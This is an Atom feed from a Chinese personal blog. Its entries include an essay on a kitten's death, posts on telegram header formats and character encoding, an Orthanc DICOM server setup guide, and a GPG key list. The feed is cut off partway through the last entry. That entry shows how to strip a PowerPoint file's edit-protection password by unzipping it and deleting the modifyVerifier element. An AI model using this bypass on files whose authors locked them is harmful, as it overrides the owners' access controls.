<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>橙子木的小木屋</title>
  
  
  <link href="https://blog.ypa.moe/atom.xml" rel="self"/>
  
  <link href="https://blog.ypa.moe/"/>
  <updated>2025-06-15T12:48:05.548Z</updated>
  <id>https://blog.ypa.moe/</id>
  
  <author>
    <name>橙子木</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>三元之死</title>
    <link href="https://blog.ypa.moe/%E4%B8%89%E5%85%83%E4%B9%8B%E6%AD%BB/"/>
    <id>https://blog.ypa.moe/%E4%B8%89%E5%85%83%E4%B9%8B%E6%AD%BB/</id>
    <published>2025-06-15T04:10:00.000Z</published>
    <updated>2025-06-15T12:48:05.548Z</updated>
    
    <content type="html"><![CDATA[<p>三元死了。<br>死在了她获得三元这个名字的那天晚上。</p><p>三元是一只猫，一只被B君在一个雨天捡到的被流浪猫生下的小猫。<br>为了给她取名我们一帮人讨论了许久，苯环、光猫、鱼饼、二狗子、调制解调器，大家都有分歧，最后在打麻将时决定下了三元这个名字。</p><p>那天的麻将打的断断续续的，我们一边打牌，一边逗弄着小小的三元，看她窝在Q君怀里打呼噜。某一刻，B君发现三元的心跳和呼吸似乎有些快，但是我们并没有放在心上。过了一会三元在桌上仿佛肌无力一样的左半边身子无法支撑，以为是饿了，便喂了些牛奶，精神也好了不少。</p><p>直到D君胡成一把大三元。<br>三元小小的尾巴耷拉了下去。</p><p>深夜十二点，紧锁的24小时宠物医院门口，没了气息的三元。</p><p>还有被弥留的三元用力咬了一口的B君。</p><p>三元来到家里其实已经有好几天了，只是年纪太小，还不能打疫苗和体检，Q君本想等着过段时间给她送到宠物医院好好的走个流程。</p><p>但三元已经死了。</p><p>三附院深夜的急诊室没有医生。在我们到之前救护车送来了一个心脏骤停的病人，抢救室的蓝色帘子已经被拉了起来，把抢救位遮得严严实实。中毒处置位躺着一个喝醉酒的男人，嘴里一只嘟囔着什么，只是隔一会便喊一声死吧死吧。</p><p>四人静静的坐在长条椅上，三元在一旁的黄色垃圾桶里静静的躺着。为了一针狂犬疫苗。</p><p>心电监护仪在乱叫，听声音似乎医生做CPR也做不动了，上了机械复苏机，像打桩机一样的声音。大概是床上那人的家属吧，站在抢救室门口，高中生模样的男孩，在无声的安慰他的妈妈。<br>默哀。<br>那个酒精中毒的男人越喊越大声了，听的心烦。</p><p>出门透透气。<br>隔壁就是住院楼，门口停了一辆殡仪馆的白车。看起来是死者家属，眼眶红红的，在拿着单子和殡仪馆的人做最后的确认。戴着口罩的殡仪馆工作人员，拖冰冷着平板车和橙色的裹尸袋，寒气从运尸车的冰柜倾斜而下。<br>不忍再看。</p><p>如若三元再大一些，可能也会为她举行一场葬礼，而现在却什么都做不了，只能让她留在黄色的垃圾桶里。</p><p>医生回来了，叫我们去二附院。白等了半天。等到从二附院打完针出来到家，天已蒙蒙亮了。</p><p>屁猫还在家里，打开门就看见他趴在门口，瞪着一双金黄的大眼在黑暗中看着我们。<br>只是三元并没有跟着我们一起回来。</p><p>我爸妈常说我怕死的很，手上稍微有个口都像马上就要死了一样处理。只是我知道小口死不了，尽快处理好方便做事罢了。<br>生命是什么？<br>是物质的流动？<br>是灵魂的循环？<br>又或者是其他的什么？<br>无人知晓。<br>至少此时此刻你我仍旧存活，保持着生命活跃存在的基本状态。</p><blockquote><p>生命是一种特征，物质存在的一种活跃形式。目前对于生命的定义在学术界还无共识，较流行的定义是一类维持体内平衡、具有生命周期和稳定的物质和能量代谢现象、能对刺激做反应、能进行自我复制和繁殖、进化的半开放物质系统。由细胞组成，能够成长、适应环境。其他定义有时包括非细胞生命形式，如病毒和类病毒。</p><p>生命 - 维基百科</p></blockquote><p>正如曾经我写到，人类对于未知的恐惧是与生俱来的，虽然死亡是必然的，但此刻我们仍活在当下。逝者已逝，我们除了悼念，还要自己不停地向前走。<br>只是向前走。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;三元死了。&lt;br&gt;死在了她获得三元这个名字的那天晚上。&lt;/p&gt;
&lt;p&gt;三元是一只猫，一只被B君在一个雨天捡到的被流浪猫生下的小猫。&lt;br&gt;为了给她取名我们一帮人讨论了许久，苯环、光猫、鱼饼、二狗子、调制解调器，大家都有分歧，最后在打麻将时决定下了三元这个名字。&lt;/p&gt;
&lt;p</summary>
      
    
    
    
    <category term="子夜随想" scheme="https://blog.ypa.moe/categories/%E5%AD%90%E5%A4%9C%E9%9A%8F%E6%83%B3/"/>
    
    
    <category term="微信公众号" scheme="https://blog.ypa.moe/tags/%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7/"/>
    
    <category term="随笔" scheme="https://blog.ypa.moe/tags/%E9%9A%8F%E7%AC%94/"/>
    
  </entry>
  
  <entry>
    <title>电报的报头都写了哪些信息</title>
    <link href="https://blog.ypa.moe/%E7%94%B5%E6%8A%A5%E7%9A%84%E6%8A%A5%E5%A4%B4%E9%83%BD%E5%86%99%E4%BA%86%E5%93%AA%E4%BA%9B%E4%BF%A1%E6%81%AF/"/>
    <id>https://blog.ypa.moe/%E7%94%B5%E6%8A%A5%E7%9A%84%E6%8A%A5%E5%A4%B4%E9%83%BD%E5%86%99%E4%BA%86%E5%93%AA%E4%BA%9B%E4%BF%A1%E6%81%AF/</id>
    <published>2025-04-24T15:01:00.000Z</published>
    <updated>2025-04-24T16:12:30.195Z</updated>
    
    <content type="html"><![CDATA[<p>最近因为电报狠狠火了一把，我翻出了以前电报还几乎被人遗忘时收到的一份电报，发现这一份电报的报文头和最近杭州电信发出的电报报头有很大的区别<br>通过搜索，我一直没有找到相关的资料去解读报头的内容和其中的差异，直到最近终于在书中找到了相关的内容<br>今天我们就来简单的解读一下电报报头的内容，虽然仍然无法全部解读</p><p>我们以这一份来自上海的电报为例进行解读<br><img src="/media/image/telegram/readhead1.jpg" alt="报头"></p><ol><li>ZCZC是报文的起始标头，用于表示该份电报的起始位置，在ZCZC标识之前的内容不是该份电报的内容，之后的才是；</li><li>BRE2999 ESY0139 BY9278 WLX2429是该份电报的自动转报系统转报冠流号，BRE、ESY、BY、WLX分别代表了电报转报电路中不同的转报局的冠号，数字则是该份电报在该转报局的转报流水号。目前已知WLX是中国电信杭州武林广场营业厅，BRE可能是中国电信上海武胜路云网中心。剩下的两个目前仍未找到有效资料得知具体是哪个转报局，很有可能是内部不对外营业的部分；</li><li>P代表该份电报的报类，P是普通电报、Z是政务电报、R是水情电报、X是新闻电报、K是汇款电报、C是公益电报、GA是公务公电、OBS是天气电报。目前普通公众可以接触到的电报业务报类仅有P报类；</li><li>HANGZHOU 浙江杭州 就是字面意思的报文的发报局名，表明该份电报由浙江杭州发出；</li><li>WX2429是该份电报的原来号数，通过查阅资料和对多份电报与发报纸的记录对比，笔者认为该冠流号为发报局的原始发报流水号数，因年代久远所以称呼发生了变化；</li><li>71是该份电报的计费字数，可由此计算出该份电报的费用为0.14x71&#x3D;9.94元；</li><li>8是该份电报的发报日期；</li><li>0845是该份电报的发报时间，为早上的8时45分；</li><li>正文部分，在例图中没有体现；</li><li>NNNN是报文的末尾标头，用于表示该份电报的末尾位置，在NNNN标识之后的内容不是该份电报的内容，之前的才是，在例图中没有体现。</li></ol><p>至于报头的完整格式其实还有更多的内容，受限于篇幅我无法在一篇文章中讲完，之后我会专门单独写一篇用于说明完整的电报报头。</p><p>参考资料<br>邮电部1984年8月3日（1984）邮部字359号</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;最近因为电报狠狠火了一把，我翻出了以前电报还几乎被人遗忘时收到的一份电报，发现这一份电报的报文头和最近杭州电信发出的电报报头有很大的区别&lt;br&gt;通过搜索，我一直没有找到相关的资料去解读报头的内容和其中的差异，直到最近终于在书中找到了相关的内容&lt;br&gt;今天我们就来简单的解读一</summary>
      
    
    
    
    <category term="通信工程" scheme="https://blog.ypa.moe/categories/%E9%80%9A%E4%BF%A1%E5%B7%A5%E7%A8%8B/"/>
    
    
    <category term="通信技术" scheme="https://blog.ypa.moe/tags/%E9%80%9A%E4%BF%A1%E6%8A%80%E6%9C%AF/"/>
    
    <category term="业务知识" scheme="https://blog.ypa.moe/tags/%E4%B8%9A%E5%8A%A1%E7%9F%A5%E8%AF%86/"/>
    
    <category term="中国电信" scheme="https://blog.ypa.moe/tags/%E4%B8%AD%E5%9B%BD%E7%94%B5%E4%BF%A1/"/>
    
    <category term="电报" scheme="https://blog.ypa.moe/tags/%E7%94%B5%E6%8A%A5/"/>
    
  </entry>
  
  <entry>
    <title>拍发电报遇到不在标准电码本内的汉字要如何做字</title>
    <link href="https://blog.ypa.moe/%E6%8B%8D%E5%8F%91%E7%94%B5%E6%8A%A5%E9%81%87%E5%88%B0%E4%B8%8D%E5%9C%A8%E6%A0%87%E5%87%86%E7%94%B5%E7%A0%81%E6%9C%AC%E5%86%85%E7%9A%84%E6%B1%89%E5%AD%97%E8%A6%81%E5%A6%82%E4%BD%95%E5%81%9A%E5%AD%97/"/>
    <id>https://blog.ypa.moe/%E6%8B%8D%E5%8F%91%E7%94%B5%E6%8A%A5%E9%81%87%E5%88%B0%E4%B8%8D%E5%9C%A8%E6%A0%87%E5%87%86%E7%94%B5%E7%A0%81%E6%9C%AC%E5%86%85%E7%9A%84%E6%B1%89%E5%AD%97%E8%A6%81%E5%A6%82%E4%BD%95%E5%81%9A%E5%AD%97/</id>
    <published>2025-04-22T16:59:00.000Z</published>
    <updated>2025-04-24T16:10:04.370Z</updated>
    
    <content type="html"><![CDATA[<p>最近因为杭州电信的电报业务即将停办，电报也是大火了一把，很多人去拍报。笔者虽然有发报的经验，但是为了留下个纪念，也还是专门去拍发了几份电报留作纪念<br>在大家拍报的时候会遇到一些在标准电码本里不存在的汉字，在这种时候我们就需要进行做字操作了，对于做字操作，很明显业务员是不太想做的，别问我怎么知道的，问就是本人去的时候业务员听到做字就表示“现在哪还有人给你做字啊”</p><p>以下是做字操作的流程</p><p>用户拍发电报使用电码本内未编列的汉字时,应请发报人改按常用字或正规简化字书写,以免发生差错。如因地名、人名,专用名词等不能改写时,可用电码作字办法译电。</p><ol><li><p>将一个汉字分为上、下、左、右、中五个部位,再分别加上某字,或减去某字,共十种变化,用1到0号码代表:<br>1&#x3D;上加 2&#x3D;下加 3&#x3D;左加 4&#x3D;右加 5&#x3D;中加 6&#x3D;上减 7&#x3D;下减 8&#x3D;左减 9&#x3D;右减 0&#x3D;中减</p></li><li><p>查一个与未编汉字有关的汉字电码,在此电码前加写部位及应加或应减代表号码,即可说明新编的汉字。</p></li></ol><ul><li>收报人名址第七字“嶌【注】”,未编入电码本内,应在电报备注内加注“ADR7 7680 11472”,即“鸟”上加“山”。</li><li>电文第三字“腚”未编入电码本内,应在电报备注内加注“TW3 5139 91626 41353”,即“肝”右去“干”、右加“定”。</li></ul><ol start="3"><li><p>凡有作字电码的电报,其备注内加注的计字序数,分别从收报人名址(不包括特别业务标识)、电文(包括署名)的第一字起算,名址部分写明ADR7（名址第七字组)，电文部分写明TW3 (电文第三字组)。</p></li><li><p>国际、港澳电报遇有《标准电码本（修订本）》上未编列的汉字,不能采用国内电报的作字办法,而应在备注内用电码直接说明。具体说明顺序如下：作字的部位、原字电码、作字加减情况的说明。其中作字的部位电文或名址部分第几字中间，用斜划分开表示。电文译成TXT，名址译成ADDS，表示顺序的第几字可译成1ST、2ND、3RD、4TH……<br>例如：名址第二字为嶌【注】，备注应填写为：<br>2ND&#x2F;ADDS 7680 0006 0502 1472</p></li></ol><p>【注】该字为上“山”下“鸟”结构的字，由于该字为异体字，现时无法在unihan范围内找到“鸟”字为简体字的文字，故使用“鳥”字的文字作为替代，但由于该字为异体字，部分设备可能无法有效显示该字，以下为该字的正确文字样式图片：<br><img src="/media/image/telegram/makechart1.jpg" alt="正确文字样式"></p><p>参考资料<br>关于规定《标准电码本》（修订本）启用日期及注意事项的通知<br>邮电部电信总局一九八三年四月十五日（1983）电通字178号通知<br>邮电部电信总局一九八三年八月十日（1983）电外字398号通知<br>邮电部电信总局一九八三年三月一日（1983）电通字91号通知<br>附件一 电码作字办法</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;最近因为杭州电信的电报业务即将停办，电报也是大火了一把，很多人去拍报。笔者虽然有发报的经验，但是为了留下个纪念，也还是专门去拍发了几份电报留作纪念&lt;br&gt;在大家拍报的时候会遇到一些在标准电码本里不存在的汉字，在这种时候我们就需要进行做字操作了，对于做字操作，很明显业务员是不</summary>
      
    
    
    
    <category term="通信工程" scheme="https://blog.ypa.moe/categories/%E9%80%9A%E4%BF%A1%E5%B7%A5%E7%A8%8B/"/>
    
    
    <category term="通信技术" scheme="https://blog.ypa.moe/tags/%E9%80%9A%E4%BF%A1%E6%8A%80%E6%9C%AF/"/>
    
    <category term="业务知识" scheme="https://blog.ypa.moe/tags/%E4%B8%9A%E5%8A%A1%E7%9F%A5%E8%AF%86/"/>
    
    <category term="中国电信" scheme="https://blog.ypa.moe/tags/%E4%B8%AD%E5%9B%BD%E7%94%B5%E4%BF%A1/"/>
    
    <category term="电报" scheme="https://blog.ypa.moe/tags/%E7%94%B5%E6%8A%A5/"/>
    
  </entry>
  
  <entry>
    <title>借助Orthanc快速建立一个属于你自己的 DICOM 服务器</title>
    <link href="https://blog.ypa.moe/%E5%BF%AB%E9%80%9F%E5%BB%BA%E7%AB%8B%E4%B8%80%E4%B8%AA%E5%B1%9E%E4%BA%8E%E4%BD%A0%E8%87%AA%E5%B7%B1%E7%9A%84_DICOM_%E6%9C%8D%E5%8A%A1%E5%99%A8/"/>
    <id>https://blog.ypa.moe/%E5%BF%AB%E9%80%9F%E5%BB%BA%E7%AB%8B%E4%B8%80%E4%B8%AA%E5%B1%9E%E4%BA%8E%E4%BD%A0%E8%87%AA%E5%B7%B1%E7%9A%84_DICOM_%E6%9C%8D%E5%8A%A1%E5%99%A8/</id>
    <published>2024-08-18T04:00:00.000Z</published>
    <updated>2024-08-18T17:57:35.538Z</updated>
    
    <content type="html"><![CDATA[<div class="alert alert-danger"><div class="icon"><i class="fa fa-exclamation"></i></div><div class="text"><p>本文章仅提供快速设置启用相关服务的配置方法，不涉及相关网络安全设置的内容。作者对依此文章进行配置后可能导致的网络安全漏洞问题不负责，需要相关安全配置的请自行查阅参考资料中的Doc自行配置。</p></div></div><p>最近由于身体原因，经常需要去医院拍X光片。总所周知，由于各种原因，现在很多医院已经不再提供激光胶片了，转而变为在云端提供电子胶片。<br>熟悉我的人都知道，由于一些原因，我是一个稍微有点极端的信息安全自持派，虽然云胶片是由医疗机构提供并储存的，但是出于信息安全我仍然希望可以对相关数据进行自有自持，因此我在进行了一大圈的搜索之后找到了 <a href="https://www.orthanc-server.com/index.php"><code>Orthanc</code></a> 作为电子胶片的内网存储调阅服务器。</p><h2 id="电子胶片与激光胶片的优劣"><a href="#电子胶片与激光胶片的优劣" class="headerlink" title="电子胶片与激光胶片的优劣"></a>电子胶片与激光胶片的优劣</h2><p>既然提到电子胶片那么就不得不提到电子胶片与传统激光胶片之间的优劣比较。<br>电子胶片相较于传统激光胶片，具有易储存、易转移、清晰度高、价格便宜等优势。在特定的放射影像拍摄产生原始数据后甚至可以通过原始数据进行反向建模重构，有效提高了放射影像的可读性与实用性；而传统激光胶片相对于电子胶片则是几乎完全没有什么性价比了，可视维度少，严重受制于打印机的分辨率，保存方式要求较苛刻。<br>由此可见在未来电子胶片将会是大势所趋，逐步替代传统激光胶片。</p><h2 id="Orthanc-简介"><a href="#Orthanc-简介" class="headerlink" title="Orthanc 简介"></a>Orthanc 简介</h2><p><code>Orthanc</code>是一款开源、免费的独立 DICOM 服务器程序，旨在让用户专注于 DICOM 文件本身的内容而非其复杂的格式与协议。由于其采用了 mimiPACS 方式构建，所以用户并不需要花费大量的时间在数据库管理和第三方依赖的处理中。</p><h2 id="快速安装-Orthanc-服务端"><a href="#快速安装-Orthanc-服务端" class="headerlink" title="快速安装 Orthanc 服务端"></a>快速安装 Orthanc 服务端</h2><ol><li>访问<code>Orthanc</code>的<a href="https://www.orthanc-server.com/download.php">下载页面</a>找到适合你的系统的版本下载按钮，下载最新版本的安装包，此处以 windows 版本为例。</li><li>一路按默认安装流程进行程序安装<br><img src="https://orthanc.uclouvain.be/book/_images/win-quick-start-inst.png" alt="安装程序界面"></li><li>安装完成后即可访问<code>Orthanc</code><a href="http://localhost:8042/ui/app/">自带的Web管理界面</a>了<br><img src="https://orthanc.uclouvain.be/book/_images/win-quick-start-orthanc-empty.png" alt="Orthanc Explorer 2"></li><li>通过管理界面左侧的上传按钮上传你通过当地的影像云平台&#x2F;医疗机构获取的 DICOM 文件<br><img src="https://orthanc.uclouvain.be/book/_images/win-quick-start-orthanc-upload.png" alt="上传 DICOM 文件"></li><li>通过管理界面自带的网页阅片器查看你的电子胶片</li></ol><h2 id="配置内网访问"><a href="#配置内网访问" class="headerlink" title="配置内网访问"></a>配置内网访问</h2><p>此时，虽然你已经可以在本机上访问<code>Orthanc Explorer 2</code>了，但是细心的人肯定会注意到地址栏里写的是<code>localhost</code>而非本机的IP地址，并且当你尝试使用<code>http://IP:8042/</code>访问时也会发现浏览器完全不买账，这是因为 DICOM 服务通常并不对本机之外的设备直接提供服务，但是如果你需要的话也不是没有办法。</p><h3 id="通过-Nginx-提供反向代理"><a href="#通过-Nginx-提供反向代理" class="headerlink" title="通过 Nginx 提供反向代理"></a>通过 Nginx 提供反向代理</h3><p>Nginx 作为一款轻量的 Web 服务器也是我们的老朋友了，具体的安装过程便不再赘述。<br>通过 Nginx 为 DICOM 服务器提供反向代理提供服务是较为常见的方式，你只需要在你的 Nginx 配置文件（通常是<code>./nginx/nginx.conf</code>，如果你像我一样用了<code>vhost</code>的话那就是<code>./nginx/vhost/&lt;filename&gt;.conf</code>）里加入以下几行代码即可：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">Server &#123;</span><br><span class="line">    listen ...</span><br><span class="line"></span><br><span class="line">    location /dicom/studies &#123;</span><br><span class="line">        proxy_pass http://127.0.0.1:8042/dicom-web/studies;</span><br><span class="line">        proxy_set_header HOST $host;</span><br><span class="line">        proxy_set_header X-Real-IP $remote_addr;</span><br><span class="line">        rewrite /orthanc(.*) $1 break;</span><br><span class="line">        add_header &#x27;Access-Control-Allow-Credentials&#x27; &#x27;true&#x27;;</span><br><span class="line">        add_header &#x27;Access-Control-Allow-Headers&#x27; &#x27;DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type&#x27;;</span><br><span class="line">        add_header &#x27;Access-Control-Allow-Methods&#x27; &#x27;GET, POST, OPTIONS&#x27;;</span><br><span class="line">        add_header &#x27;Access-Control-Allow-Origin&#x27; &#x27;*&#x27;;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="直接通过-Orthanc-提供服务（以-Windows-为例）"><a href="#直接通过-Orthanc-提供服务（以-Windows-为例）" class="headerlink" title="直接通过 Orthanc 提供服务（以 Windows 为例）"></a>直接通过 Orthanc 提供服务（以 Windows 为例）</h3><p>如果你懒得折腾这些东西，只是和我一样希望尽快使用<code>Orthanc</code>，那么你现在需要做这么几件事：</p><ol><li>打开<code>C:\Program Files\Orthanc\Configuration\</code>，找到<code>orthanc.json</code></li><li>找到<code>&quot;RemoteAccessAllowed&quot; : false,</code>，将<code>false</code>替换为<code>true</code></li><li>找到<code>&quot;RegisteredUsers&quot;</code>，在注释后换行按照<code>&quot;&lt;Username&gt;&quot; : &quot;&lt;Password&gt;&quot;</code>的格式设置你的账号密码<div class="alert alert-danger"><div class="icon"><i class="fa fa-exclamation"></i></div><div class="text"><p>此方式设置的账号密码采用 HTTP Basic Authentication 方式进行身份验证，安全性相对较差，如需更高级的安全身份验证请自行选用 Nginx 反代方式进行配置</p></div></div></li><li>于本机防火墙中开启 8042 端口的 TCP 入站放行</li><li>于<code>Services.msc</code>中手动重启<code>Orthanc</code>服务即可在内网内其他设备上使用<code>http://IP:8042/</code>的方式访问<code>Orthanc</code>数据库了</li></ol><h2 id="配置-DICOM-访问"><a href="#配置-DICOM-访问" class="headerlink" title="配置 DICOM 访问"></a>配置 DICOM 访问</h2><p>不过，虽然通过这种方式可以做到直接通过 Web 进行访问了，不过为了搭配相关的阅片软件（如我在 iPad 上使用的 <a href="https://apps.apple.com/us/app/idv-imaios-dicom-viewer/id1444841062">IDV - IMAIOS DICOM Viewer</a>），我们还需要开启<code>Orthanc</code>的 DICOM 设置：</p><ol><li>打开<code>C:\Program Files\Orthanc\Configuration\</code>，找到<code>orthanc.json</code></li><li>找到<code>&quot;DicomAet&quot;</code>设置你的<code>DICOM AET</code></li><li>找到<code>&quot;DicomPort&quot;</code>设置你的<code>DICOM 端口</code>，通常默认使用 4242</li><li>找到<code>&quot;DefaultEncoding&quot;</code>设置你的<code>DICOM 文件编码</code>，默认为<code>Latin1</code></li><li>于本机防火墙中开启 4242 端口的 TCP 入站放行</li><li>保存并于<code>Services.msc</code>中手动重启<code>Orthanc</code>服务</li></ol><p>此时你就可以在支持 DICOM 的程序中设置你的 DICOM 服务器的相关设置并尝试进行 echo 测试查看 DICOM 服务是否联通了<br><img src="https://orthanc.uclouvain.be/book/_images/ConfigureModality2.png" alt="于 DICOM Viewer 程序中设置 DICOM 服务器信息"><br>但是此时你仍然无法通过 DICOM 获取储存于<code>Orthanc</code>内的电子胶片，你还需要继续做如下配置:<br>7. 打开<code>C:\Program Files\Orthanc\Configuration\</code>，找到<code>orthanc.json</code><br>8. 找到<code>&quot;DicomModalities&quot;</code>，在注释后换行按照<code>&quot;&lt;设备注释&gt; : [&quot;&lt;阅读器的 DICOM AET&gt;&quot;, &quot;&lt;阅读器设备的IP地址&gt;&quot;, &quot;&lt;阅读器的 DICOM 端口&gt;&quot;]&quot;</code>的格式设置你的阅读器信息<br>9. 保存并于<code>Services.msc</code>中手动重启<code>Orthanc</code>服务<br>之后你便可以通过内网中的其他设备上支持 DICOM 协议的程序进行阅片了</p><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><p><a href="https://www.orthanc-server.com/static.php?page=about">About Orthanc - Orthanc Offical</a><br><a href="https://orthanc.uclouvain.be/book/index.html">Orthanc Book - Orthanc Offical</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;div class=&quot;alert alert-danger&quot;&gt;&lt;div class=&quot;icon&quot;&gt;&lt;i class=&quot;fa fa-exclamation&quot;&gt;&lt;/i&gt;&lt;/div&gt;&lt;div class=&quot;text&quot;&gt;&lt;p&gt;本文章仅提供快速设置启用相关服务的配置方法，不涉及相关网络安</summary>
      
    
    
    
    <category term="计算机与网络" scheme="https://blog.ypa.moe/categories/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B8%8E%E7%BD%91%E7%BB%9C/"/>
    
    
    <category term="DICOM" scheme="https://blog.ypa.moe/tags/DICOM/"/>
    
    <category term="Orthanc" scheme="https://blog.ypa.moe/tags/Orthanc/"/>
    
    <category term="医疗" scheme="https://blog.ypa.moe/tags/%E5%8C%BB%E7%96%97/"/>
    
    <category term="影像学" scheme="https://blog.ypa.moe/tags/%E5%BD%B1%E5%83%8F%E5%AD%A6/"/>
    
  </entry>
  
  <entry>
    <title>GPG key 列表</title>
    <link href="https://blog.ypa.moe/GPG-key-list/"/>
    <id>https://blog.ypa.moe/GPG-key-list/</id>
    <published>2024-02-11T16:00:00.000Z</published>
    <updated>2025-09-12T23:04:19.363Z</updated>
    
    <content type="html"><![CDATA[<h1 id="GPG-License-WKD-list"><a href="#GPG-License-WKD-list" class="headerlink" title="GPG License WKD list"></a>GPG License WKD list</h1><table><thead><tr><th align="center">序号</th><th align="center">秘钥</th><th align="center">用户标识</th><th align="center">指纹</th><th align="center">状态</th><th align="center">公钥</th></tr></thead><tbody><tr><td align="center">1</td><td align="center"><code>4F41</code> <code>B9DC</code></td><td align="center">Zimu Cheng</td><td align="center"><code>0671</code> <code>9494</code> <code>4B7B</code> <code>A80A</code> <code>EAB2</code> <code>7FC3</code> <code>9C74</code> <code>E568</code> <code>4F41</code> <code>B9DC</code></td><td align="center">停用</td><td align="center">过期</td></tr><tr><td align="center">2</td><td align="center"><code>1D01</code> <code>EDE0</code></td><td align="center">橙子木</td><td align="center"><code>9F71</code> <code>E4E0</code> <code>25F3</code> <code>BBF8</code> <code>EEA4</code> <code>BD45</code> <code>5569</code> <code>9A34</code> <code>1D01</code> <code>EDE0</code></td><td align="center">正常</td><td align="center"><a href="https://dirdl1.ypa.moe/0x1D01EDE0_public.asc">公钥</a></td></tr></tbody></table>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;GPG-License-WKD-list&quot;&gt;&lt;a href=&quot;#GPG-License-WKD-list&quot; class=&quot;headerlink&quot; title=&quot;GPG License WKD list&quot;&gt;&lt;/a&gt;GPG License WKD list&lt;/h1&gt;&lt;</summary>
      
    
    
    
    <category term="计算机与网络" scheme="https://blog.ypa.moe/categories/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B8%8E%E7%BD%91%E7%BB%9C/"/>
    
    
    <category term="GnuPG" scheme="https://blog.ypa.moe/tags/GnuPG/"/>
    
  </entry>
  
  <entry>
    <title>如何优雅地干掉ppt的密码</title>
    <link href="https://blog.ypa.moe/%E5%A6%82%E4%BD%95%E4%BC%98%E9%9B%85%E5%9C%B0%E5%B9%B2%E6%8E%89ppt%E7%9A%84%E5%AF%86%E7%A0%81/"/>
    <id>https://blog.ypa.moe/%E5%A6%82%E4%BD%95%E4%BC%98%E9%9B%85%E5%9C%B0%E5%B9%B2%E6%8E%89ppt%E7%9A%84%E5%AF%86%E7%A0%81/</id>
    <published>2023-11-03T04:00:00.000Z</published>
    <updated>2023-11-03T16:17:47.000Z</updated>
    
    <content type="html"><![CDATA[<p>最近收到了一个上面发下来的PPT文件需要学习内容，在打开的时候觉得PPT的模板很不错，想要收拾收拾方便后面使用，却发现文件被加了编辑密码，遂在研究后成此文。</p><h1 id="被加密的PPT"><a href="#被加密的PPT" class="headerlink" title="被加密的PPT"></a>被加密的PPT</h1><p>有时我们收到一些PPT文件时会遇到文件被原作者使用密码进行编辑保护的情况，导致我们无法方便的使用源文件的模板或者修改内容，但是我们又无法获取到原始密码，那么我们就要想办法删除密码。<br>首先我们打开被加密的PPT发现出现了一个让我们输入密码的弹窗，但是很明显，我们不知道密码。<br><img src="https://r2-wh1-cf-oss.ypa.moe/blog/media/image/antipptpwd/1.png" alt="被加密的PPT"><br>这时候，我们看到弹窗的右下角有一个只读按钮，点进去之后就会顺利的打开PPT的文件进行阅读。但是此时我们可以看见开始菜单栏里的所有按钮都是灰色的，也就是处于被保护状态，无法被编辑。<br><img src="https://r2-wh1-cf-oss.ypa.moe/blog/media/image/antipptpwd/2.png" alt="只读模式打开被加密PPT"><br>那我们该怎么处理呢？</p><h1 id="解包PPT"><a href="#解包PPT" class="headerlink" title="解包PPT"></a>解包PPT</h1><p>首先，我们需要对PPT有一个认知，那就是PPT的本质是一个压缩包，里面是由许多xml文件记录文件的参数信息组成的。换而言之，PPT文件是可以被压缩软件解压的。<br>那么事情就会变的很简单，既然PPT本质上是由一堆xml文件组成的，那么加密的密码也必然会被写在这一堆xml文件里，只要找到并删掉那就可以对文件为所欲为了嘿嘿嘿🤠。<br>于是，我们就可以进行如下的操作来解压出源文件的原始xml：</p><ol><li>将原有的文件 <code>1.pptx</code> (例名)复制一份副本出来，并重命名为 <code>1.zip</code>；<br><img src="https://r2-wh1-cf-oss.ypa.moe/blog/media/image/antipptpwd/3.png" alt="重命名文件之后的文件结构"></li><li>右键 <code>1.zip</code>并解压；<br><img src="https://r2-wh1-cf-oss.ypa.moe/blog/media/image/antipptpwd/4.png" alt="重命名文件之后的文件结构"><br>解压之后我们就获得了源文件的原始xml。</li></ol><h1 id="淦密码！"><a href="#淦密码！" class="headerlink" title="淦密码！"></a>淦密码！</h1><p>现在我们已经把原始xml解压出来了，那么我们要怎么找到密码写在哪个文件里呢？很明显，作为一个加密手段，源文件的密码不会作为明文进行存储，所以原密码必然是被加密过的。<br>现在，我们找到 <code>/ppt/presentation.xml</code> 并打开，这里面存储着我们解压出的ppt的所有原始文件信息，其中也包括加密文件的密码：<br><img src="https://r2-wh1-cf-oss.ypa.moe/blog/media/image/antipptpwd/5.png" alt="presentation.xml"><br>但是对着这么一大坨xml，眼睛都看花了，鬼知道啥写的啥啊！<br>很明显，开发者也不是傻子，根据开发原则，文件中的变量名需要尽可能和功能匹配，那么我们只需要找一下类似于<code>password``Verify</code>的字段就好了。经过搜索我们找到了<code>&lt;p:modifyVerifier .../&gt;</code>这个字段，很明显，这个字段写着的就是源文件的加密验证部分了。我们直接把这个字段删掉保存文件即可。<br><img src="https://r2-wh1-cf-oss.ypa.moe/blog/media/image/antipptpwd/6.png" alt="presentation.xml"></p><h1 id="完工！"><a href="#完工！" class="headerlink" title="完工！"></a>完工！</h1><p>现在，密码已经被删除了，那我们要如何把删掉密码的文件重新变回PPT呢？非常简单：</p><ol><li>把文件夹重新压缩为 <code>1.zip</code>;</li><li>重命名文件为 <code>1.pptx</code><br>打开文件就会发现已经可以编辑啦！<br><img src="https://r2-wh1-cf-oss.ypa.moe/blog/media/image/antipptpwd/7.png" alt="淦完密码之后"></li></ol><h1 id="总结"><a href="#总结" class="headerlink" 